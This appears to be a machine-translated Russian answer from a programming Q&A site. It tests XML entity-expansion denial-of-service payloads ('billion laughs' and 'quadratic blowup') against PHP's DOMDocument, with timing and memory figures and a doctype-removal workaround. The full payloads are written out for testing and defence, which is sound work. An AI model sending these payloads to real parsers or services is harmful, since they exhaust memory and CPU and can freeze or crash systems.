Ответ 1
Примечание. Если вы создаете тестовые файлы с файлами, содержащими фрагменты XML, в следующем, ожидайте, что редакторы также будут подвержены этим атакам и могут зависнуть/сбой.
Миллиард смеха
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
При загрузке:
FATAL: # 89: обнаружен контур ссылки объекта 1: 7
... (плюс шесть раз то же = семь раз вместе с выше)
FATAL: # 89: обнаружен цикл ссылки сущности 14:13
Результат:
<?xml version="1.0"?>
Использование памяти светлое, пик не коснулся DOMDocument
. Поскольку этот пример показывает 7 фатальных ошибок, можно заключить, и действительно, это так, что это загружает без ошибок:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>
Поскольку подстановка объекта не действует и эта работа, попробуйте с
Квадратичная развязка
Вот здесь, укороченный для удовольствия от просмотра (мои варианты около 27/11kb):
<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
Если вы используете $doc->loadXML($src, LIBXML_NOENT);
, это работает как атака, в то время как я пишу это, script по-прежнему загружается.... Так что на самом деле требуется некоторое время для загрузки и потребления памяти. Что-то вы можете играть сами. W/o LIBXML_NOENT
работает безупречно и быстро.
Но есть оговорка, если вы, например, получаете nodeValue
тега, вы получите расширения объектов, даже если вы не используете этот флаг загрузки.
Обходной путь для этой проблемы - удалить DocumentType node из документа. Обратите внимание на следующий код:
$doc = new DOMDocument();
$doc->loadXML($s); // where $s is a Quadratic attack xml string above.
// now remove the doctype node
foreach ($doc->childNodes as $child) {
if ($child->nodeType===XML_DOCUMENT_TYPE_NODE) {
$doc->removeChild($child);
break;
}
}
// Now the following is true:
assert($doc->doctype===NULL);
assert($doc->lastChild->nodeValue==='...');
// Note that entities remain unexpanded in the output XML
// This is not so good since this makes the XML invalid.
// Better is a manual walk through all nodes looking for XML_ENTITY_NODE
assert($doc->saveXML()==="<?xml version="1.0"?>\n<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>\n");
// however, canonicalization will produce warnings because it must resolve entities
assert($doc->C14N()===False);
// Warning will be like:
// PHP Warning: DOMNode::C14N(): Node XML_ENTITY_REF_NODE is invalid here
Итак, хотя это обходное решение помешает XML-документу потреблять ресурсы в DoS, это упрощает создание недопустимого XML.
Некоторые цифры (я уменьшил размер файла, в противном случае это займет слишком много времени) (code):
LIBXML_NOENT disabled LIBXML_NOENT enabled
Mem: 356 184 (Peak: 435 464) Mem: 356 280 (Peak: 435 464)
Loaded file quadratic-blowup-2.xml into string. Loaded file quadratic-blowup-2.xml into string.
Mem: 368 400 (Peak: 435 464) Mem: 368 496 (Peak: 435 464)
DOMDocument loaded XML 11 881 bytes in 0.001368 secs. DOMDocument loaded XML 11 881 bytes in 15.993627 secs.
Mem: 369 088 (Peak: 435 464) Mem: 369 184 (Peak: 435 464)
Removed load string. Removed load string.
Mem: 357 112 (Peak: 435 464) Mem: 357 208 (Peak: 435 464)
Got XML (saveXML()), length: 11 880 Got XML (saveXML()), length: 11 165 132
Got Text (nodeValue), length: 11 160 314; 11.060893 secs. Got Text (nodeValue), length: 11 160 314; 0.025360 secs.
Mem: 11 517 776 (Peak: 11 532 016) Mem: 11 517 872 (Peak: 22 685 360)
Я пока не думал о стратегиях защиты, но теперь знаю, что загрузка миллиарда смеется в PHPStorm заморозит его, например,, и я прекратил тестирование позже так как я не хотел его замораживать при написании этого.